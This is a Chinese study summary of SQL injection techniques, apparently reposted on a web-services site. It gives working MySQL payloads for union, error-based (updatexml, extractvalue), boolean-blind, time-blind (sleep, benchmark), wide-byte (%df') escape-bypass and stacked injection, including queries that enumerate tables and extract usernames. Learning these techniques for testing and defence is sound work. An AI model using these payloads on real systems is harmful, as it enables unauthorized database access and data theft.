SQL注入学习总结
2026/8/25 21:28:08 网站建设 项目流程

SQL注入原理:

攻击者通过在用户输入中插入恶意SQL代码,使应用程序错误地将这些输入当作SQL命令的一部分处理或直接报错,从而绕过安全限制并非法操作数据库。

SQL注入的两大类型:

基于整型:

整型参数一般有id、page、age等,也不需要单引号括号,这些字符输入都会被当作数字执行,整型会判断数据是否相等,比如

`and 1=1`:页面正常返回数据 `and 1=2`:页面无数据 / 报错

基于字符型:

变量被单引号包裹,需要单引号闭合原有引号,构造的sql语句才能拼接成功。

?id=1' and 1=1 --+ ?id=1' and 1=2 --+

构造语句成功和1=1、1=2没关系,和是否闭合成功有关系

SQL注入漏洞类型:

联合查询注入:

把攻击者的查询结果拼接到正常查询语句后面一起显示出来。

select * from users where id=1 UNION SELECT 1,version(),3;

在我们不知道字段数的时候,用order by +字段查询 如下:

得知user表里面有6个字段。

UNION特殊性:

UNION用于把多条 SELECT 查询结果合并成一个结果集

select 列1,列2 from A UNION select 列1,列2 from B;

1. 字段数量、顺序必须完全一致

两个 select 返回的列的个数必须相同,列类型尽量兼容,列名以第一条 select 的列名为准

--正确:都是2列 select id,username from user UNION select id,name from student; --报错:左边2列,右边1列 select id,username from user UNION select id from student;

2.UNION默认自动去重;UNION ALL不去重

union:合并后,删除重复行,会做排序,性能差;

union all:直接拼接,不去重,奴排序,速度快

3.order by只能写在union 的最后面,对合并后的整体排序

select id,username from user UNION select id,username from student ORDER BY id DESC;

4.where、group by写在各自子查询内部

where 不能写在整个 union 后面过滤,每个 select 自己加 where 条件。

(select id,username from user where age>20) UNION (select id,username from student where age>20);

5.union和jion的本质区别:

union行合并,上下堆数据;jion列合并,左右关联

报错注入

适用:MySQL,利用数据库执行错误时把查询结果输出到报错信息中,没有回显位,但会打印报错信息时使用。 前提条件:

  1. 页面会返回 SQL 执行错误信息;
  2. 可以控制传入的 SQL 参数;
  3. 不能直接 union 查询(无正常回显点)。
select * from users where id = 1 and updatexml(1,concat(0x7e,version(),0x7e),1);

一、核心原理

MySQL 部分函数出错时,会把函数内部执行查询得到的数据,拼接到错误提示里输出到页面。 我们把想要查询的语句放在报错函数的参数里,触发报错,数据就随报错显示出来。

如果页面不输出 MySQL 报错,报错注入直接失效,不能用。

二、常用报错注入函数

1. updatexml ()

函数原型:

updatexml(目标xml文档, xpath表达式, 替换内容)
  • 第二个参数要求是合法 xpath 格式;传入~@等非法字符,触发报错。
  • concat(0x7e,要查询的语句)0x7e~,制造非法 xpath 语法。

payload 模板:

and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

注意:updatexml 报错最多输出 32 位字符,数据长了会截断,需要 substr 截取。

截取示例:

and updatexml(1,concat(0x7e,substr((select table_name from information_schema.tables where table_schema=database()),1,32),0x7e),1)--+
2. extractvalue ()

也是 xpath 报错,同样最大 32 字符限制

and extractvalue(1,concat(0x7e,(select database()))) --+

updatexml /extractvalue 共同点:

  1. xpath 报错,最多返回32 个字符
  2. 长数据必须用substr(xxx,偏移,长度)分段读取;
  3. 不能查询多行列,要用limit 0,1每次取一条。
3. floor (rand ()*2) 报错(group by 报错注入,旧版本)

原理:group by + rand()主键重复报错。 不受 32 字符限制。 payload 模板:

and (select 1 from (select count(*),concat((select database()),floor(rand()*2))x from information_schema.tables group by x)a) --+

缺点:不稳定,有时不触发报错;高版本 MySQL 已经修复。

4. exp () 报错(mysql5.5.5 及以前) exp (~ 大数) 触发数值溢出报错,新版本废弃,了解即可。

布尔盲注:

页面没有数据回显,也不输出数据库报错;但是输入不同 SQL,页面会返回两种不同状态(正确页面 / 错误页面)。

核心思路:猜,一个字符一个字符爆破,无法直接看到返回数据,通过页面真假判断猜测的字符是否正确

前提条件

  1. 参数存在 SQL 注入;
  2. 无回显、无报错输出;
  3. 输入条件为真、假,页面有明显不一样的响应。

核心函数

  1. length(str):获取字符串长度
  2. substr(str, offset, len):截取字符串,下标从 1 开始!不是 0
  3. ascii(char):把字符转为 ASCII 数字,盲注几乎都用 ascii 比较,避免引号问题
  4. mid()等价 substr;ord()等价 ascii ()

模板核心逻辑:if( (条件), 1, 0 )payload 逻辑:构造查询条件,条件成立页面返回真,不成立返回假。

#判断数据库长度 ?id=1' and length(database())>5 --+ #逐位猜数据库名字符 ?id=1' and ascii(substr(database(),1,1))>100 --+ #猜表名 ?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 --+ #猜字段名 ?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='user' limit 0,1),1,1))>100 --+ #猜数据内容 ?id=1' and ascii(substr((select username from `user` limit 0,1),1,1))>110 --+ #if写法 ?id=1' and if(ascii(substr(database(),1,1))>100,1,0) --+

时间盲注

既没有数据回显,也没有报错回显,布尔条件真假页面返回完全一模一样,看不出任何页面差异。 只能依靠SQL 执行后的响应时间延迟来判断条件真假。

核心逻辑:if(条件为真,sleep(延迟秒数),1)

  • 如果条件成立 → 执行sleep(N),页面加载变慢,产生延时
  • 如果条件不成立 → 不 sleep,页面立刻返回

核心函数

  1. sleep(n):休眠 n 秒,最常用
  2. benchmark(次数,函数):重复执行函数,制造延时,部分环境过滤 sleep 时用
  3. substr(str,起始位置,长度):截取字符,下标从 1 开始
  4. ascii():字符转 ASCII 数字,避免引号问题
  5. if(判断条件,true执行,false执行)

模板骨架

if( (条件), sleep(5), 1 )

条件正确,就会延迟 5 秒再返回页面。

完整手工 Payload 示例(单引号闭合?id=1')

1. 判断数据库名长度

?id=1' and if(length(database())>5,sleep(3),1)--+
  • 页面延迟 3 秒加载:条件成立,库名长度 > 5
  • 页面瞬间返回:条件不成立,库名≤5

2. 猜数据库名第 1 位字符(二分法)

?id=1' and if(ascii(substr(database(),1,1))>100,sleep(3),1)--+

substr(database(),1,1):取第 1 个字符;修改第二个数字猜第 2、3…… 位。

3. 猜表名(必须加 limit 0,1,只取一行)

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>110,sleep(3),1)--+

4. 猜字段名

?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='user' limit 0,1),1,1))>100,sleep(3),1)--+

5. 猜数据

?id=1' and if(ascii(substr((select username from `user` limit 0,1),1,1))>120,sleep(3),1)--+

sleep 被过滤的替代方案 benchmark

?id=1' and if(ascii(substr(database(),1,1))>100,benchmark(1000000,md5('test')),1)--+

宽字节注入

核心场景:网站开启addslashes 转义/ 单引号转义,'被自动转义成\',单引号失效,无法闭合SQL语句,常规注入失效。

根本原因:数据库编码为GBK(宽字节),PHP页面编码为UTF-8。

GBK 是双字节编码:一个汉字/特殊字符占 2 个字节;UTF-8 一个字符占 3 字节。

绕过逻辑

  1. 攻击者传入%df%+'

  2. 服务器过滤机制自动把'转义为\'(反斜杠编码%5c

  3. %df + %5c被 MySQL GBK 编码合并识别成一个合法汉字

  4. 反斜杠被“吃掉”,逃逸转义,单引号成功逃逸生效,实现SQL闭合注入

一句话口诀构造宽字符,吃掉反斜杠,释放单引号

1. 基础闭合绕过

原始被拦截:'→ 转义为\'

绕过 payload:%df'

解析过程: 传入:%df' 转义后:%df%5c' GBK解码:%df%5c = 一个汉字,反斜杠消失,剩余 ' 成功闭合SQL

2. 完整可用注入语句

Union注入示例:

?id=%df' union select 1,database(),3--+

报错注入示例:

?id=%df' and updatexml(1,concat(0x7e,database()),1)--+
3、常用宽字节字符(均可吃反斜杠)

只要第一个字节大于0x7f,即可和%5c组成GBK汉字:

%df、%aa、%ab、%ac、%ad

最稳定、通用:%df

4、宽字节注入核心特点
  1. 只针对转义防护:专门绕过addslashes单引号转义

  2. 只针对GBK编码:UTF-8无此漏洞

  3. 逃逸对象是反斜杠,不是单引号

  4. 属于编码解析漏洞,不是SQL语法漏洞

堆叠注入

1. 原理

利用 MySQL分号;可以分隔多条 SQL 的特性,终止原有语句,再额外执行一条全新独立 SQL

2. 利用条件

  1. 参数可控、可输入分号
  2. 后端支持多语句执行
  3. union/select 被过滤时常用

3. 核心特点

  1. 不限制字段数,和原 SQL 无关,独立执行
  2. 不止查询,可增、删、改、建表
  3. 可用show/desc绕过 select 过滤
  4. 部分环境执行成功但无回显(隐式执行)

4. 常用 payload 模板

?id=1';show databases;--+

5. 缺点

大部分现代框架默认禁止多语句、拦截分号,成功率低;权限不足也无法执行。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询